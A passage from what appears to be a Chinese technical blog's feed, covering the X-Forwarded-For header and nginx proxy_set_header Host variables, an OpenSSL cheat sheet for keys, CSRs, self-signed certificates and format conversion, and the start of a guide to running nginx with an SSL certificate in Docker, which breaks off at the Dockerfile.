&lt;p&gt;　　X-Forwarded-For：简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP，只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。 它不是RFC中定义的标准请求头信息，在squid缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如下：X-Forwarded-For: client1, proxy1, proxy2。&lt;&#x2F;p&gt;
&lt;p&gt;　　这一HTTP头一般格式如下：X-Forwarded-For: client1, proxy1, proxy2。其中的值通过一个“逗号+空格”把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求，就把&lt;strong&gt;请求来源IP地址&lt;&#x2F;strong&gt;添加到右边。&lt;&#x2F;p&gt;
&lt;p&gt;　　在上面这个例子中，这个请求成功通过了三台代理服务器：proxy1, proxy2 及 proxy3。请求由client1发出，到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时，XFF是空的，请求被发往proxy1；通过proxy1的时候，client1被添加到XFF中，之后请求被发往proxy2;通过proxy2的时候，proxy1被添加到XFF中，之后请求被发往proxy3；通过proxy3时，proxy2被添加到XFF中，之后请求的的去向不明，如果proxy3不是请求终点，请求会被继续转发。&lt;&#x2F;p&gt;
&lt;p&gt;鉴于伪造这一字段非常容易，应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;er-proxy-set-headershe-zhi-hostwei-proxy-host-hostyu-local-hostde-qu-bie&quot;&gt;二、proxy_set_header设置Host为$proxy_host，$host与$local_host的区别&lt;&#x2F;h3&gt;
&lt;p&gt;先来看下proxy_set_header的语法：&lt;code&gt;proxy_set_header field value;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;默认值：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;proxy_set_header Host $proxy_host;
proxy_set_header Connection close;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;　　上下文：&lt;code&gt;http&lt;&#x2F;code&gt;, &lt;code&gt;server&lt;&#x2F;code&gt;, &lt;code&gt;location&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　作用：允许重新定义或者添加发往后端服务器的请求头。&lt;code&gt;value&lt;&#x2F;code&gt;可以包含文本、变量或者它们的组合。 当且仅当当前配置级别中没有定义&lt;code&gt;proxy_set_header&lt;&#x2F;code&gt;指令时，会从上面的级别继承配置。 默认情况下，只有两个请求头会被重新定义：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;proxy_set_header Host       $proxy_host;
proxy_set_header Connection close;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;nginx对于upstream默认使用的是基于IP的转发，因此对于以下配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    upstream backend {
        server 127.0.0.1:8080;
    }
    upstream crmtest {
        server crmtest.aty.sohuno.com;
    }
    server {
            listen       80;
            server_name  chuan.aty.sohuno.com;
            proxy_set_header Host $http_host;
            proxy_set_header x-forwarded-for  $remote_addr;
            proxy_buffer_size         64k;
            proxy_buffers             32 64k;
            charset utf-8;

            access_log  logs&amp;#x2F;host.access.log  main;
            location = &amp;#x2F;50x.html {
                root   html;
            }
        location &amp;#x2F; {
            proxy_pass backend ;
        }

        location = &amp;#x2F;customer&amp;#x2F;straightcustomer&amp;#x2F;download {
            proxy_pass http:&amp;#x2F;&amp;#x2F;crmtest;
            proxy_set_header Host $proxy_host;
        }
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当匹配到 &#x2F;customer&#x2F;straightcustomer&#x2F;download时，使用crmtest处理，到upstream就匹配到crmtest.aty.sohuno.com，这里直接转换成IP进行转发了。假如crmtest.aty.sohuno.com是在另一台nginx下配置的，ip为10.22.10.116，则$proxy_host则对应为10.22.10.116。此时相当于设置了Host为10.22.10.116。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 如果想让Host是crmtest.aty.sohuno.com，则进行如下设置：
proxy_set_header Host crmtest.aty.sohuno.com;

&amp;#x2F;&amp;#x2F; 如果不想改变请求头“Host”的值，可以这样来设置：
proxy_set_header Host $http_host;

&amp;#x2F;&amp;#x2F; 但是，如果客户端请求头中没有携带这个头部，那么传递到后端服务器的请求也不含这个头部。
&amp;#x2F;&amp;#x2F; 这种情况下，更好的方式是使用$host变量——它的值在请求包含“Host”请求头时为“Host”字段的值，在请求未携带“Host”请求头时为虚拟主机的主域名：
proxy_set_header Host       $host;

&amp;#x2F;&amp;#x2F; 此外，服务器名可以和后端服务器的端口一起传送：
proxy_set_header Host $host:$proxy_port;

&amp;#x2F;&amp;#x2F; 如果某个请求头的值为空，那么这个请求头将不会传送给后端服务器：
proxy_set_header Accept-Encoding &amp;quot;&amp;quot;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OpenSSL命令速查手册：证书、私钥与证书签名请求文件</title>
        <published>2024-01-01T00:00:00+00:00</published>
        <updated>2024-01-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/openssl命令速查手册-证书、私钥与证书签名请求文件/"/>
        <id>https://vercel.juzhong.asia/obsidian/openssl命令速查手册-证书、私钥与证书签名请求文件/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/openssl命令速查手册-证书、私钥与证书签名请求文件/">&lt;h1 id=&quot;opensslming-ling-su-cha-shou-ce-zheng-shu-si-yao-yu-zheng-shu-qian-ming-qing-qiu-wen-jian&quot;&gt;OpenSSL命令速查手册：证书、私钥与证书签名请求文件&lt;&#x2F;h1&gt;
&lt;p&gt;OpenSSL是一个功能极其强大的命令行工具，可以用来完成公钥体系（&lt;strong&gt;P&lt;&#x2F;strong&gt;ublic&lt;strong&gt;K&lt;&#x2F;strong&gt;ey&lt;strong&gt;I&lt;&#x2F;strong&gt;nfrastructure） 及HTTPS相关的很多任务。这个速查手册整理了常用的OpenSSL命令的使用方法，例如生成私钥、 生成证书签名请求以及证书格式转换等。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xu-guan-yu-zheng-shu-qian-ming-qing-qiu-csr&quot;&gt;序：关于证书签名请求（CSR）&lt;&#x2F;h2&gt;
&lt;p&gt;如果你要从证书颁发机构（CA）获取一个SSL证书，那首先需要先生成一个证书签名请求（CSR）。 CSR的主要内容是密钥对中的公钥，以及一些额外的信息 —— 这些内容都将在签名时插入到 证书里。&lt;&#x2F;p&gt;
&lt;p&gt;当使用openssl生成证书签名请求时，需要输入证书的唯一标识信息（&lt;strong&gt;D&lt;&#x2F;strong&gt;istinguished _N__ame）， 其中重要的一项是常见名（&lt;strong&gt;C&lt;&#x2F;strong&gt;ommon&lt;strong&gt;N&lt;&#x2F;strong&gt;ame），它应当是你要部署证书的主机的 域名全称（FQDN）。&lt;&#x2F;p&gt;
&lt;p&gt;DN中的其他条目用来提供关于你的机构的额外信息。如果你在从证书颁发机构购买SSL证书， 那么通常也需要这些额外的字段，例如组织机构（Organization），以便能够真实地展示 你的机构详情。&lt;&#x2F;p&gt;
&lt;p&gt;下面是CSR的模样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:New York
Locality Name (eg, city) []:Brooklyn
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Example Brooklyn Company
Organizational Unit Name (eg, section) []:Technology Division
Common Name (e.g. server FQDN or YOUR name) []:examplebrooklyn.com
Email Address []:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以非交互方式提供生成CSR时要求的信息，任何需要CSR信息的OpenSSL命令都可以添加 &lt;code&gt;-subj&lt;&#x2F;code&gt;选项。例如：&lt;&#x2F;p&gt;
&lt;p&gt;If you want to non-interactively answer the CSR information prompt, you can do so by adding the  -subj option to any OpenSSL commands that request CSR information. Here is an example of the option, using the  same information displayed in the code block above:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;-subj &amp;quot;&amp;#x2F;C=US&amp;#x2F;ST=New York&amp;#x2F;L=Brooklyn&amp;#x2F;O=Example Brooklyn Company&amp;#x2F;CN=examplebrooklyn.com&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yi-sheng-cheng-zheng-shu-qian-ming-qing-qiu&quot;&gt;一、生成证书签名请求&lt;&#x2F;h2&gt;
&lt;p&gt;这一部分涵盖与生成CSR（以及私钥）相关的OpenSSL命令。CSR可以用来从证书颁发机构 请求SSL证书。&lt;&#x2F;p&gt;
&lt;p&gt;记住，你可以交互式的添加CSR信息，也可以使用&lt;code&gt;-subj&lt;&#x2F;code&gt;选项以非交互的方式添加同样的信息。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-sheng-cheng-si-yao-he-csr&quot;&gt;1.1 生成私钥和CSR&lt;&#x2F;h3&gt;
&lt;p&gt;如果你需要使用HTTPS来加固你的web服务器，那么你会向证书颁发机构申请一个证书。这里 生成的CSR可以发送给CA来发行其签名的SSL证书。&lt;&#x2F;p&gt;
&lt;p&gt;下面的命令创建一个2048位的私钥（domain.key）以及一个CSR（domain.csr）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req \
       -newkey rsa:2048 -nodes -keyout domain.key \
       -out domain.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里需要交互地输入CSR信息，以便完成整个过程。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-newkey rsa:2048&lt;&#x2F;code&gt;选项声明了使用RAS算法生成2048位的私钥。&lt;code&gt;-nodes&lt;&#x2F;code&gt;选项表明我们 不使用密码加密私钥。上面隐含了&lt;code&gt;-new&lt;&#x2F;code&gt;选项，表示要生成一个CSR。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-shi-yong-yi-you-si-yao-sheng-cheng-csr&quot;&gt;1.2 使用已有私钥生成CSR&lt;&#x2F;h3&gt;
&lt;p&gt;如果你已经有了一个私钥，那么可以直接用它来向CA申请证书。&lt;&#x2F;p&gt;
&lt;p&gt;下面的命令使用一个已有的私钥（domain.key）创建一个新的CSR（domain.csr）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req \
       -key domain.key \
       -new -out domain.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-key&lt;&#x2F;code&gt;选项用来指定已有的私钥文件，&lt;code&gt;-new&lt;&#x2F;code&gt;选项表明我们要生成一个CSR。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-3-shi-yong-yi-you-de-zheng-shu-he-si-yao-sheng-cheng-csr&quot;&gt;1.3 使用已有的证书和私钥生成CSR&lt;&#x2F;h3&gt;
&lt;p&gt;如果你需要续订已有的证书，但你和CA都没有原始的CSR，那可以再次生成CSR。 例如，下面的命令使用已有的证书（domain.crt）和私钥（domain.key）创建 一个新的CSR：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 \
       -in domain.crt \
       -signkey domain.key \
       -x509toreq -out domain.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-x509toreq&lt;&#x2F;code&gt;选项表明我们要使用X509证书来制作CSR。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-sheng-cheng-sslzheng-shu&quot;&gt;二、生成SSL证书&lt;&#x2F;h2&gt;
&lt;p&gt;如果你只是想用SSL证书加固你的web服务器，但是并不需要CA签名的证书，那么 一个简单的方法是自己签发证书。&lt;&#x2F;p&gt;
&lt;p&gt;一种常见的你可以签发的类型是自签名证书 —— 使用自己的私钥签发的证书。 自签名证书可以向CA签发的证书一样用于加密数据，但是你的用户将收到提示 说明该证书不被其计算机或浏览器信息。因此，自签名证书只能在不需要 向用户证明你的身份时使用，例如非生产环境或者非公开服务。&lt;&#x2F;p&gt;
&lt;p&gt;这一部分的内容涵盖自签名证书生成相关的OpenSSL命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-sheng-cheng-zi-qian-ming-zheng-shu&quot;&gt;2.1 生成自签名证书&lt;&#x2F;h3&gt;
&lt;p&gt;如果你需要使用HTTPS加固服务器，但不需要CA签发的证书，就可以使用 自签名证书。&lt;&#x2F;p&gt;
&lt;p&gt;下面的命令创建一个2048位的私钥（domain.key）以及一个自签名证书（domain.crt）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req \
       -newkey rsa:2048 -nodes -keyout domain.key \
       -x509 -days 365 -out domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-x509&lt;&#x2F;code&gt;选项指出我们要创建自签名证书，&lt;code&gt;-days 365&lt;&#x2F;code&gt;选项声明该证书的有效期为365天。 在上面的命令执行过程中将创建一个临时CSR来收集与证书相关的CSR信息。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-shi-yong-yi-you-si-yao-sheng-cheng-zi-qian-ming-zheng-shu&quot;&gt;2.2 使用已有私钥生成自签名证书&lt;&#x2F;h3&gt;
&lt;p&gt;也可以使用已有私钥来生成自签名证书。例如，下面的命令使用已有的私钥（domain.key） 生成一个自签名证书（domain.crt）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req \
       -key domain.key \
       -new \
       -x509 -days 365 -out domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-new&lt;&#x2F;code&gt;选项用来启动CSR信息采集提示。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-shi-yong-yi-you-de-si-yao-he-csrsheng-cheng-zi-qian-ming-zheng-shu&quot;&gt;2.3 使用已有的私钥和CSR生成自签名证书&lt;&#x2F;h3&gt;
&lt;p&gt;第三种办法是使用已有的私钥和CSR来生成自签名证书。例如，下面的命令使用私钥（domain.key） 和CSR（domain.csr）创建一个自签名证书（domain:crt）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 \
       -signkey domain.key \
       -in domain.csr \
       -req -days 365 -out domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;san-cha-kan-zheng-shu&quot;&gt;三、查看证书&lt;&#x2F;h2&gt;
&lt;p&gt;证书和CSR文件都采用PEM编码格式，并不适合人类阅读。这一部分主要介绍 OpenSSL中查看PEM编码文件的命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-cha-kan-csrtiao-mu&quot;&gt;3.1 查看CSR条目&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令可以查看CSR文件的明文文本并进行验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req -text -noout -verify -in domain.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-cha-kan-zheng-shu-tiao-mu&quot;&gt;3.2 查看证书条目&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令可以查看证书文件的明文文本：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -text -noout -in domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-3-yan-zheng-zheng-shu-shi-fou-you-caqian-fa&quot;&gt;3.3 验证证书是否由CA签发&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令用来验证证书doman.crt是否由证书颁发机构（ca.crt）签发：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl verify -verbose -CAFile ca.crt domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;si-si-yao-sheng-cheng-yu-yan-zheng&quot;&gt;四、私钥生成与验证&lt;&#x2F;h2&gt;
&lt;p&gt;这部分介绍与私钥生成和验证相关的OpenSSL命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-chuang-jian-si-yao&quot;&gt;4.1 创建私钥&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令创建一个密码保护的2048位私钥domain.key：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl genrsa -des3 -out domain.key 2048
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面命令会提示输入密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-2-yan-zheng-si-yao&quot;&gt;4.2 验证私钥&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令可以验证私钥domain.key是否有效：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa -check -in domain.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果私钥是加密的，命令会提示输入密码，验证密码成功则会 显示不加密的私钥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-yan-zheng-si-yao-yu-zheng-shu-he-csrpi-pei&quot;&gt;4.3 验证私钥与证书和CSR匹配&lt;&#x2F;h3&gt;
&lt;p&gt;使用下面的命令验证私钥domain.key是否与证书domain.crt以及CSR匹配：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa -noout -modulus -in domain.key | openssl md5
openssl x509 -noout -modulus -in domain.crt | openssl md5
openssl req -noout -modulus -in domain.csr | openssl md5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果上面三个命令的输出一致，那么有极高的概率可以认为私钥、证书和 CSR是相关的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-jia-mi-si-yao&quot;&gt;4.4 加密私钥&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令将私钥unencrypted.key加密，输出加密后的私钥encrypted.key：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa -des3 \
       -in unencrypted.key \
       -out encrypted.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面命令执行时会提示设置密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-5-jie-mi-si-yao&quot;&gt;4.5 解密私钥&lt;&#x2F;h3&gt;
&lt;p&gt;下面的命令将加密私钥encrypted.key解密，并输出明文结果：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa \
       -in encrypted.key \
       -out decrypted.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面命令执行时会提示输入解密密码。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-zheng-shu-ge-shi-zhuan-huan&quot;&gt;五、证书格式转换&lt;&#x2F;h2&gt;
&lt;p&gt;我们之前接触的证书都是X.509格式，采用ASCII的PEM编码。还有其他 一些证书编码格式与容器类型。OpenSSL可以用来在众多不同类型之间 转换证书。这一部分主要介绍与证书格式转换相关的OpenSSL命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-pemzhuan-der&quot;&gt;5.1 PEM转DER&lt;&#x2F;h3&gt;
&lt;p&gt;可以将PEM编码的证书domain.crt转换为二进制DER编码的证书domain.der：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 \
       -in domain.crt \
       -outform der -out domain.der
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;DER格式通常用于Java。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-derzhuan-pem&quot;&gt;5.2 DER转PEM&lt;&#x2F;h3&gt;
&lt;p&gt;同样，可以将DER编码的证书（domain.der）转换为PEM编码（domain.crt）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 \
       -inform der -in domain.der \
       -out domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-3-pemzhuan-pkcs7&quot;&gt;5.3 PEM转PKCS7&lt;&#x2F;h3&gt;
&lt;p&gt;可以将PEM证书（domain.crt和ca-chain.crt）添加到一个PKCS7（domain.p7b） 文件中：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl crl2pkcs7 -nocrl \
       -certfile domain.crt \
       -certfile ca-chain.crt \
       -out domain.p7b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;code&gt;-certfile&lt;&#x2F;code&gt;选项指定要添加到PKCS7中的证书。&lt;&#x2F;p&gt;
&lt;p&gt;PKCS7文件也被称为P7B，通常用于Java的Keystore和微软的IIS中保存证书的ASCII文件。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-4-pkcs7zhuan-huan-wei-pem&quot;&gt;5.4 PKCS7转换为PEM&lt;&#x2F;h3&gt;
&lt;p&gt;使用下面的命令将PKCS7文件（domain.p7b）转换为PEM文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs7 \
       -in domain.p7b \
       -print_certs -out domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果PKCS7文件中包含多个证书，例如一个普通证书和一个中间CA证书，那么输出的 PEM文件中将包含所有的证书。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-5-pemzhuan-huan-wei-pkcs12&quot;&gt;5.5 PEM转换为PKCS12&lt;&#x2F;h3&gt;
&lt;p&gt;可以将私钥文件（domain.key）和证书文件（domain.crt）组合起来生成PKCS12 文件（domain.pfx）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs12 \
       -inkey domain.key \
       -in domain.crt \
       -export -out domain.pfx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的命令将提示你输入导出密码，可以留空不填。&lt;&#x2F;p&gt;
&lt;p&gt;PKCS12文件也被称为PFX文件，通常用于导入&#x2F;导出微软IIS中的证书链。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-6-pkcs12zhuan-huan-wei-pem&quot;&gt;5.6 PKCS12转换为PEM&lt;&#x2F;h3&gt;
&lt;p&gt;也可以将PKCS12文件（domain.pfx）转换为PEM格式（domain.combined.crt）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs12 \
       -in domain.pfx \
       -nodes -out domain.combined.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意如果PKCS12文件中包含多个条目，例如证书及其私钥，那么生成的PEM 文件中将包含所有条目。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>docker启动nginx输入证书密码</title>
        <published>2023-12-30T00:00:00+00:00</published>
        <updated>2024-01-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/docker启动nginx输入证书密码/"/>
        <id>https://vercel.juzhong.asia/obsidian/docker启动nginx输入证书密码/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/docker启动nginx输入证书密码/">&lt;h1 id=&quot;dockerqi-dong-nginxshu-ru-zheng-shu-mi-ma&quot;&gt;docker启动nginx输入证书密码&lt;&#x2F;h1&gt;
&lt;p&gt;如何在docker中启动nginx并输入证书密码&lt;&#x2F;p&gt;
&lt;p&gt;以下是整个过程的步骤概述，我们将在下文详细介绍每一步骤的具体操作。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;步骤&lt;&#x2F;th&gt;&lt;th&gt;操作&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;创建一个目录用于存放证书和相关文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;生成SSL证书和私钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;设置密码保护&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;创建Nginx配置文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;创建Dockerfile&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;构建Docker镜像&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;启动Nginx容器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;现在我们逐步介绍每个步骤的具体操作。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-zou-2-sheng-cheng-sslzheng-shu-he-si-yao&quot;&gt;步骤2：生成SSL证书和私钥&lt;&#x2F;h4&gt;
&lt;p&gt;接下来，我们需要生成SSL证书和私钥。可以使用OpenSSL工具来生成。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir ~&amp;#x2F;ssl &amp;amp;&amp;amp; cd ~&amp;#x2F;ssl
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout nginx.key -out nginx.crt

openssl x509 -in nginx.crt -text -noout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上命令将生成一个有效期为365天的自签名SSL证书和私钥。在执行该命令时，需要根据提示输入一些信息，如国家、组织名称、域名等。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-zou-3-she-zhi-mi-ma-bao-hu&quot;&gt;步骤3：设置密码保护&lt;&#x2F;h4&gt;
&lt;p&gt;如果你想要为私钥设置密码保护，可以执行以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl rsa -des3 -in nginx.key -out nginx.key
# 取消密码保护
# openssl rsa -in nginx.key -out nginx.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在执行该命令时，会提示你输入密码和确认密码。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-zou-4-chuang-jian-nginxpei-zhi-wen-jian&quot;&gt;步骤4：创建Nginx配置文件&lt;&#x2F;h4&gt;
&lt;p&gt;下一步，我们需要创建一个Nginx的配置文件来启用SSL。&lt;&#x2F;p&gt;
&lt;p&gt;打开&lt;code&gt;nginx.conf&lt;&#x2F;code&gt;文件，并添加以下内容：&lt;&#x2F;p&gt;
&lt;p&gt;以上配置假设你的证书和私钥文件放在了&lt;code&gt;&#x2F;etc&#x2F;nginx&#x2F;ssl&lt;&#x2F;code&gt;路径下。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;events {
  worker_connections 1024;
}
http {
  server {
    listen 443 ssl;
    server_name youdomain.com;
    ssl_certificate &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.crt;
    ssl_certificate_key &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.key;
    location {
      root &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;nginx&amp;#x2F;html;
      index index.html index.htm;
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;bu-zou-5-chuang-jian-dockerfile-gou-jian-dockerjing-xiang-qi-dong-nginxrong-qi&quot;&gt;步骤5：创建Dockerfile,构建Docker镜像,启动Nginx容器&lt;&#x2F;h4&gt;
&lt;p&gt;接下来，我们需要创建一个Dockerfile，用于构建Nginx镜像。&lt;&#x2F;p&gt;
&lt;p&gt;以上Dockerfile将基于官方的Nginx镜像，并将&lt;code&gt;nginx.conf&lt;&#x2F;code&gt;和&lt;code&gt;ssl&lt;&#x2F;code&gt;目录复制到镜像中的相应位置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;FROM nginx
